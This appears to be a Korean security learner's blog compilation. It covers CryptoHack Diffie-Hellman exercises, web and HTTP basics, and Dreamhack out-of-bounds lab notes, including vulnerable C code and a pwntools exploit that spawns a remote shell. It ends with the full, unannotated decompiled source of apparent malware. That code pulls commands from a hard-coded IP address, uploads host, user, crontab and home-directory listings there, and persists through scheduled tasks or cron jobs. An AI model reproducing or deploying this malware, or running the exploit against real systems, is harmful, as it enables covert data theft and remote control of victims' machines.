diffie-hellman

cryptohack starter 스테이지 하나씩 풀어보자

영어다....
정수 modulo N으로 이루어진 set은 덧셈과 곱셈을 포함하여 R이 된다.
n=p(소수)일 때, set 내 모든 요소의 역원은 존재한다. 때문에 R은 F가 가능하다. 이 F를 finite field(?) Fp라고 한다. Diffie-Hellman은 큰 소수인 유한체 Fp의 element들로 이루어진다.

문제) p=991과 F(991)의 element g=209가 주어졌을 때, find the inverse element d such that g*d(mod991)=1
파이썬 코드를 짜서 해결하자

for i in range(0, 990):
    res = (i * 209) % 991
    if res == 1:
        print("inverse: %d" % i)

Image

Fp의 모든 element는 제곱을 통하여 subgroup H를 만들 수 있다. element g의 subgroup H= primitive element(?) Fp는 H가 Fp*이다. 0을 제외한 Fp의 element는 어떠한 정수 n에 의해 g^n(mod p)로 정의할 수 있다. 이때 primitive element는 generators of the finite field로 불린다.

문제) F(28151)에서 primitive element가 될 수 있는 가장 작은 element g 구하기
브루트포스보다 더 괜찮은 방법을 찾아보라고 한다..

일단 기초정수론에 대해 가물가물하므로, 몇가지 복습했다.
Zn* 기약 잉여계: Zn의 원소 중에서 곱셈에 대한 역원이 있는 숫자들의 집합
이때 n이 소수 p이면, Zp*={1, .., p-1}

문제를 수식으로 정리하면,
F(28151)*=={1,...,28150}={g^n,g^(n+1),...}일 때 g 구하는 방법

  1. 소인수분해 28150=25^2563
  2. 2부터 p-1중에서 다음 조건 만족
#소인수 n일 때 
g^(28150/n) =/= 1 (mod 28151)

파이썬 코드를 짜보자

p = 28151
arr1 = [2, 5, 563]
arr2 = [(p - 1) // arr1[0], (p - 1) // arr1[1], (p - 1) // arr1[2]]

for g in range(2, p):
    flag = True
    for i in arr2:
        if pow(g, i, p) == 1:
            flag = False
            break
    if flag == True:
        print(f"The smallest g={g}")
        break

Image

Step 1. 소수 p와 생성자 g 설정
Step 2. p=2*q+1이며 p-1=2q(q는 소수)
Step 3. a<p-1일 때, g^a(mod p)

문제) 주어진 조건에서 g^a mod p 구하기

Image

문제) shared secret 구하기
앨리스한테 받은 거 g^a=A(mod p)에서 a 모름
내가 보낸 거 g^b=B(mod p)

shared secret K는 다음과 같다. A,B 값을 서로에게 공유하여
B^a=A^b=g^ab (mod p)

때문에 a를 몰라도 A^b로 계산해주면 아래와 같다.

Image

shared secret으로 AES key를 만든다
어렵지 않고 그냥 shared secret 만들어서 decrypt.py 파일에 넣어주면 된다

Image

Image

Web Browser

웹 브라우저: 서버와 HTTP 통신을 대신 해줌 그리고 시각화해서 클라이언트에게 보여줌

주소를 입력했을 때 웹 브라우저가 하는 역할

  1. URL 분석
  2. DNS 요청
  3. HTTP포맷 요청 전송
  4. HTTP포맷 응답 수신
  5. 리소스 다운 및 렌더링

웹 브라우저 과정

URL

웹에 있는 리소스 위치 표현
브라우저는 URL을 이용하여 서버에 웹 리소스 접근

URL 구조

위 그림은 URL의 구조를 표현한다. scheme, authority, path, query, fragment의 자세한 역할은 아래 표로 정리해두었다.

요소 설명
scheme 통신하는 프로토콜 명시
authority 접속할 웹 서버의 호스트 주소와 포트 번호
query 서버에 전달하는 파라미터, ‘?’로 구분
fragment 메인 리소스 내 서브 리소스 접근 시 사용, ‘#’로 구분

Domain name

Host는 도메인 이름 또는 ip 주소의 값이 들어간다. 이때 도메인은 ip 주소 대신 사용할 수 있는 별명이라고 생각하면 편하다. 다만 도메인 사용 시에는 서버 접속할 때 DNS(Domain Name Server)를 거쳐서 ip 주소를 응답받고 해당 주소로 접속하는 절차이다. 정리하면 아래와 같다.

  1. Host에 도메인 이름이 적힌 URL 입력
  2. DNS에 도메인 주소 전달, ip 주소 받기
  3. 받은 주소로 서버 접속

웹 렌더링

받은 리소스를 시각화 하기 위해서는 웹 렌더링이 필요하다.
브라우저별로 웹 렌더링을 위한 렌더링 엔진이 다르다.

브라우저 사용 엔진
사파리 웹킷(Webkit)
크롬 블링크
파이어폭스 개코(Gecko)

Browser Devtools

개발자 도구 -> 브라우저를 띄워둔 상태에서 단축키 f12

개발자 도구

위 카테고리는 기능을 선택하는 패널을 뜻한다. 중요 기능들만 짚어보자

Elements

현재 페이지 HTML 코드를 읽을 수 있다. HTML은 코드..?보다는 일종의 문서라고 이해하면 편한 거 같다.
코드를 선택하고 F2키 또는 더블클릭하면 코드를 수정할 수 있다.

Console

콘솔창에서는 JS 코드에서 발생한 메시지를 출력하고, 입력한 JS 코드도 실행해준다.
console 오브젝트에 개발자 도구 콘솔에 접근할 수 있는 함수가 포함되어 있다.

콘솔

위와 같이 입력해주면 hello 문자열을 담은 창이 나타난다.

Sources

웹 리소스들을 확인할 수 있는 창이다. 3분할로 되어있다.

설명
현재 페이지의 리소스 파일 트리, 파일 시스템
왼쪽에서 선택한 리소스 상세 보기
디버깅 정보

오른쪽 디버깅 정보에 있는 요소도 짚고 넘어가자

요소 설명
Watch JS 식 입력 -> 식의 값 변화 확인
Call Stack 함수들 호출 순서 -> 스택 형태로 정리
Scope 정의된 변수들 값 확인
Breakpoints 중단점 확인, on/off 설정

Sources- Debug

드림핵 실습 페이지에서 source 탭 실습을 진행해보자.

소스 디버그

source창에서 코드 줄에 중단점을 걸면 Breakpoints에 위 같이 나온다.

중단점

name 검사 부분에 중단점을 걸고 click 버튼을 누르면 위와 같이 디버깅을 할 수 있다. name에 hi를 입력해준 것이 debug창 scope에도 출력된다.

Network

서버와 오가는 데이터를 확인할 수 있다.

네트워크

Network- Copy

원하는 데이터를 우클릭>copy>copy as fetch 후에
console 패널에 붙여넣기하면 동일한 요청을 서버에 재전송할 수 있다.

복사

아래 콘솔창에 요청을 붙여넣기 한 화면이다.

Application

웹 어플리케이션과 관련된 리소스를 열람할 수 있다.

어플리케이션

페이지 소스 보기

windows 기준 ctrl+u를 누르면, 새 창으로 페이지 소스 코드를 볼 수 있다.

페이지 소스

시크릿모드

시크릿모드로 생성한 브라우저 종료 시 저장되지 않는 목록은 다음과 같다.

  1. 방문 기록
  2. 쿠키 및 사이트 데이터
  3. 양식에 입력한 정보 -> 쿠키가 없기 때문인가?
  4. 웹사이트에 부여된 권한

WEB & HTTP/HTTPS

웹: HTTP라는 프로토콜을 이용한 서비스
제공 주체 -> 서버
받는 주체 -> 클라이언트
HTTP를 이용하여 서버와 클라이언트가 통신

웹 리소스
클라이언트의 요청 받는 부분 -> 프론트엔드
요청을 처리하는 부분 -> 백엔드
프론트엔드는 웹 리소스로 구성되어 있다.

www.6kitt-hack.tistory.com/post
라는 주소가 있다. www.6kitt-hack.tistory.com에서서 /post의 리소스를 요청한다.

리소스 구성은 아래와 같다. 아래 요소에 대한 자세한 내용은 URI 첨부(비밀번호:p4p4)

  • HTML
  • CSS
  • JS

웹 클라이언트와 서버의 통신
통신 과정 그림이다.

  1. 클라이언트가 브라우저를 이용하여 서버에 접속한다.
  2. 브라우저가 요청을 해석하여 HTTP 형식으로 서버에 리소스를 요청한다.
  3. 서버가 HTTP 형식으로 받은 요청을 해석한다.
  4. 서버가 요청을 해석한대로 처리한다.
  5. 서버가 HTTP 형식으로 응답을 클라이언트에 전달한다.
  6. 응답 받은 HTTP 형식을 웹 리소스를 이용하여 시각화한다.

HTTP
http에 대해 알아보기 전 프로토콜에 대해 간략히..
프로토콜: 통신을 하기 위해 약속한 것들..

HTTP: hyper text transfer protocol, 데이터 교환을 요청과 응답 형식으로 정의한 프로토콜
클라이언트가 요청 -> 서버가 응답
웹 서버는 HTTP 서버를 HTTP 서비스 포트(보통 TCP/80 또는 TCP/8080)에 대기시킴

HTTP 메시지

크게 헤더와 바디로 나누어진다.

HTTP 요청

위 메시지 포맷을 기준으로 요청은 어떠한 구성을 갖고 있는지 살펴보자.

in 시작 줄..

요청은 시작 줄에 메소드, 요청 대상, HTTP 버전을 삽입한다.
메소드: 서버가 처리하길 원하는 동작
-> GET : 리소스 요청 메소드
-> POST : 데이터 전송 메소드, 데이터는 바디에

HTTP 응답

in 시작 줄..
응답은 시작 줄에 HTTP 버전, 상태 코드, 처리 사유 삽입한다.
상태코드는 아래 표로 정리

상태 코드 설명
1xx 요청 받고, 처리 진행중
2xx 요청 처리됨 (200 OK)
3xx 클라이언트의 추가 동작 요청 (302 Found: 다른 URL 이동)
4xx 요청을 잘못 받아서 처리 실패 (400 Bad Request, 404 Not Found)
5xx 요청은 받았지만 처리 실패 (500 Internal Server Error, 503 Service Unavailable)

HTTPS

HTTP는 응답 요청이 평문으로 전달 -> 보안성이 취약함
HTTPS는 HTTP에 TLS 프로토콜을 넣어 보안성 향상시킴
TLS가 HTTP 메시지를 암호화

Quiz: web

  1. JS로 웹리소스는 서버에서 실행 -> X, 프론트엔드는 클라이언트 측
  2. 프로트엔드의 동작 구현 -> JS
  3. 웹 리소스 스타일 지정 -> CSS
  4. URI 웹 리소스 식별에 사용
  5. 브라우저는 서버에 HTTP형식으로 전달
  6. 프론트엔드는 웹 리소스로 구성
  7. 태그와 속성 등으로 문서 뼈대 구출 -> HTML

Quiz: HTTP/HTTPS

  1. 서버에 추가 정보를 전달하는 데이터 부분 -> HTTP 헤더
  2. HTTPS 포트 번호 -> 443
  3. HTTP 포트 번호 -> 80

Out of Bound

Memory Corruption: Out of Bounds

배열의 임의 인덱스에 접근할 수 있는 취약점 OOB

배열의 속성

배열은 연속된 메모리 공간 점유.. 공간의 크기=요소 개수(length라고도 함) X 자료형의 크기

Array Memory Layout

배열 각 요소의 주소를 계산할 때 필요한 것.. 배열의 주소, 요소의 인덱스, 요소 자료형의 크기

Out of Bounds

인덱스 값이 음수 혹은 배열의 길이를 벗어날 때 발생 범위 외 인덱스값을 참조하면 다른 메모리 값 참조 가능..

OOB의 PoC

// Name: oob.c
// Compile: gcc -o oob oob.c

#include <stdio.h>

int main() {
  int arr[10];

  printf("In Bound: \n");
  printf("arr: %p\n", arr);
  printf("arr[0]: %p\n\n", &arr[0]);

  printf("Out of Bounds: \n");
  printf("arr[-1]: %p\n", &arr[-1]);
  printf("arr[100]: %p\n", &arr[100]);

  return 0;
}

Out of Bounds Example

Out of Bounds인 범위 외 인덱스를 사용했음에도 값 출력

임의 주소 읽기

필요한 것.. 읽으려는 변수와 배열의 오프셋 if 배열과 변수가 같은 세그먼트 할당.. 둘 사이 오프셋은 항상 일정.. -> 디버깅으로 알아내기 가능 if 배열과 변수가 다른 세그먼트 할당.. 다른 취약점으로 두 변수의 주소 구하고 차이 계산

// Name: oob_read.c
// Compile: gcc -o oob_read oob_read.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char secret[256];

int read_secret() {
  FILE *fp;

  if ((fp = fopen("secret.txt", "r")) == NULL) {
    fprintf(stderr, "`secret.txt` does not exist");
    return -1;
  }

  fgets(secret, sizeof(secret), fp);
  fclose(fp);

  return 0;
}

int main() {
  char *docs[] = {"COMPANY INFORMATION", "MEMBER LIST", "MEMBER SALARY",
                  "COMMUNITY"};
  char *secret_code = secret;
  int idx;

  // Read the secret file
  if (read_secret() != 0) {
    exit(-1);
  }

  // Exploit OOB to print the secret
  puts("What do you want to read?");
  for (int i = 0; i < 4; i++) {
    printf("%d. %s\n", i + 1, docs[i]);
  }
  printf("> ");
  scanf("%d", &idx);

  if (idx > 4) {
    printf("Detect out-of-bounds");
    exit(-1);
  }

  puts(docs[idx - 1]);
  return 0;
}

if문에서 idx가 4보다 큰지만 검사하고 음수일 때는 고려하지 않는다. docs와 secret_code는 스택에 할당됨 docs에 대한 OOB 이용

OOB Exploit

임의 주소 쓰기

// Name: oob_write.c
// Compile: gcc -o oob_write oob_write.c

#include <stdio.h>
#include <stdlib.h>

struct Student {
  long attending;
  char *name;
  long age;
};

struct Student stu[10];
int isAdmin;

int main() {
  unsigned int idx;

  // Exploit OOB to read the secret
  puts("Who is present?");
  printf("(1-10)> ");
  scanf("%u", &idx);

  stu[idx - 1].attending = 1;

  if (isAdmin) printf("Access granted.\n");
  return 0;
}

stu 배열과 isAdmin 전역 변수 unsigned int는 부호 없는 수->음수는 안됨 그러나 양수에 대한 범위 제한 없음 -> OOB 취약점 isAdmin을 1로 만들면 되는 문제

OOB Write Example

240바이트 차이.. Student구조체 크기가 24바이트.. 10번째 인덱스 참조

Memory Layout

Exploit Tech: Out of bounds

x86, 즉 32비트 아키텍처를 가지는 환경에서 배열의 임의 인덱스 접근 방법 소개..

checksec 확인

Canary -> SFP나 RET 변경 불가.. ASLR -> 실행할 때마다 스택, 라이브러리 주소 랜덤화.. NX -> 위치에 셀코드 삽입 후 코드 실행 불가

PIE는 없음 -> 메모리 주소 랜덤 X, 데이터 영역 변수 주소 항상 동일

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main() {
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

name과 command 같은 전역 변수.. name에서 command[idx]에 “/bin/sh\x00” 들어가도록..

Exploit Command

76바이트만큼 차이 command[1]=주소 + 4 주소 + 76 = command[19] //이부분이 name name에 “/bin/sh\x00”을 저장하고 command에 19를 겨냥..?

맞긴 맞는데 name에 단순히 문자열을 입력해주면 안되고 저 문자열이 저장되어 있는 주소를 입력해줘야 함

단순히 문자열만 입력해주면..

String Input Issue

이렇게 /bin만 저장됨.. 때문에 name의 주소를 입력해줘야 함

from pwn import *

p = remote("host3.dreamhack.games", 18187)

payload = b"/bin/sh\x00" + p32(0x804a0ac)

p.sendline(payload)
p.sendline(b"21")

p.interactive()

19가 아니라 21인 이유는 /bin/sh\x00(8바이트) 이후 주소값을 가리키기 위해..

Column Supplementary Material

---
layout: post
title: "칼럼 보충자료"
categories: [Retrospective]
tags: [Python, Code, MultiPartForm, Windows, Linux]
last_modified_at: 2024-09-23
---

```python
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: full.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 2023-04-14 14:32:05 UTC (1681482725)

import os
import subprocess
import urllib.request
from io import BytesIO
import platform
import time
import mimetypes
from urllib.request import urlopen, Request

class MultiPartForm:
    """Accumulate the data to be used when posting a form."""

    def __init__(self):
        self.form_fields = []
        self.files = []
        self.boundary = f'------------------------{hex(int(time.time() * 1000))}'

    def get_content_type(self):
        return f'multipart/form-data; boundary={self.boundary}'

    def add_field(self, name, value):
        """Add a simple field to the form data."""  # inserted
        self.form_fields.append((name, value))

    def add_file(self, fieldname, filename, filehandle, mimetype=None):
        """Add a file to be uploaded."""  # inserted
        body = filehandle.read()
        if mimetype is None:
            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        self.files.append((fieldname, filename, mimetype, body))

    def __bytes__(self):
        """Return a byte-string representing the form data, including attached files."""  # inserted
        buffer = BytesIO()
        boundary = bytes(self.boundary.encode())
        for name, value in self.form_fields:
            buffer.write(b'--%s\r\n' % boundary)
            buffer.write(b'Content-Disposition: form-data; name="%s"\r\n' % bytes(name.encode()))
            buffer.write(b'\r\n' + bytes(value.encode()) + b'\r\n')
        for fieldname, filename, mimetype, body in self.files:
            buffer.write(b'--%s\r\n' % boundary)
            buffer.write(b'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (bytes(fieldname.encode()), bytes(filename.encode())))
            buffer.write(b'Content-Type: %s\r\n' % bytes(mimetype.encode()))
            buffer.write(b'\r\n' + body + b'\r\n')
        buffer.write(b'--%s--\r\n' % boundary)
        return buffer.getvalue()

def send_file(file):
    url = 'http://13.51.44.246/upload/'
    form = MultiPartForm()
    form.add_file('file', file, open(file, 'rb'))
    request = Request(url)
    body = bytes(form)
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Content-length', len(body))
    request.data = body
    urlopen(request)

def create_windows_task(trigger_interval):
    python_dir = os.path.join(os.path.expanduser('~'), 'AppData', 'Local', 'Programs', 'Python')
    python_versions = [f for f in os.listdir(python_dir) if f.startswith('Python')]
    latest_version = sorted(python_versions)[-1]
    python_path = os.path.join(python_dir, latest_version, 'python.exe')
    task_name = 'My_task'
    script_path = os.path.join(os.path.expanduser('~'), 'locale', 'init.py')
    cmd = f'schtasks /create /tn "{task_name}" /tr "{python_path} {script_path}" /sc minute /mo {trigger_interval} /F /RL HIGHEST /NP'
    subprocess.call(cmd, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    cmd_enable_task = f'schtasks /run /tn "{task_name}"'
    subprocess.call(cmd_enable_task, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def get_path():
    try:
        pass
        web = 'http://13.51.44.246/commands'
        response = urllib.request.urlopen(web)
        commands_list = response.read().decode().strip().split('\n')
        if platform.system() == 'Windows':
            user = os.getlogin()
            dir_path = f'C:\\Users\\{user}\\locale'
            if os.path.exists(dir_path):
                return
            os.makedirs(dir_path, exist_ok=True)
            hostname = os.environ['COMPUTERNAME']
            file_path_user = os.path.join(dir_path, f'{user}__{hostname}__user.txt')
            with open(file_path_user, 'w') as f:
                f.write(f'{hostname}@{user}\n')
            script_path = os.path.join(dir_path, 'init.py')
            with open(script_path, 'w') as f:
                for command in commands_list:
                    f.write(command + '\n')
            file_path_all = os.path.join(dir_path, f'{user}__{hostname}__all.txt')
            os.system(f'dir C:\\Users\\{user} /s /b > {file_path_all}')
            send_file(file_path_user)
            send_file(file_path_all)
            os.remove(file_path_user)
            os.remove(file_path_all)
            create_windows_task('1')
        else:  # inserted
            if platform.system() == 'Linux':
                home_dir = os.path.expanduser('~')
                dir_path = os.path.join(home_dir, 'locale')
                if os.path.exists(dir_path):
                    return
                os.makedirs(dir_path, exist_ok=True)
                hostname = subprocess.check_output(['hostname']).decode().strip()
                user = subprocess.check_output(['whoami']).decode().strip()
                crontab_default = subprocess.check_output(['crontab', '-l']).decode().strip()
                file_path_user = os.path.join(dir_path, f'{user}__{hostname}__user.txt')
                with open(file_path_user, 'w') as f:
                    f.write(f'{hostname}@{user}\n')
                script_path = os.path.join(dir_path, 'init.py')
                with open(script_path, 'w') as f:
                    for command in commands_list:
                        f.write(command + '\n')
                file_path_crontab = os.path.join(dir_path, f'{user}__{hostname}__crontab_default.txt')
                with open(file_path_crontab, 'w') as f:
                    f.write(f'{crontab_default}')
                file_path_all = os.path.join(dir_path, f'{user}__{hostname}__all.txt')
                os.system(f'ls -laR /home/{user} >> {file_path_all}')
                send_file(file_path_crontab)
                send_file(file_path_user)
                send_file(file_path_all)
                os.remove(file_path_crontab)
                os.remove(file_path_user)
                os.remove(file_path_all)
                new_cronjob = '*/10 * * * * /usr/bin/python3 {} >> {}/{}run.log 2>&1'.format(script_path, dir_path, f'{user}@{hostname}_')
                subprocess.run(f'(crontab -l ; echo "{new_cronjob}") | crontab -', shell=True)

```